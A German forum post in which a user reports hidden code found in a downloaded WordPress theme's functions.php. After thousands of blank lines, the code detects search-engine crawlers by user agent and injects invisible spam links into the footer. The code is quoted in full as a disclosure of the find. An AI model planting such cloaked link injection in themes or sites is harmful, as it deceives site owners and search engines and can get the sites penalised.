Hallo,
Ich hab mir neulich ein Theme aus dem Netz gezogen und nach eingehender Untersuchung fand in der function.php folgende Auffälligkeit.
Die Datei hatte 340 Zeilen Code danach 3000 Leerzeilen und dann dies:
Code
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'bingbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'msnbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Slurp')) {
add_action('wp_footer', 'ranking');
}
function ranking() {
$pshow = "<span style='display:none;'><a href='http://www.yearterm.com/auto-insurance-quotes.php'>Auto Insurance Quotes</a>
<a href='http://themecrunch.blogspot.com/2011/05/aggregate-theme-by-elegantthemes.html'>Aggregate Theme</a></span>";
echo $pshow;
}
?>
Alles anzeigen
Der Inhalt von $pshow war auch noch um ca 3000 Zeichen nach rechts versetzt.
Was wird Google dazu sagen?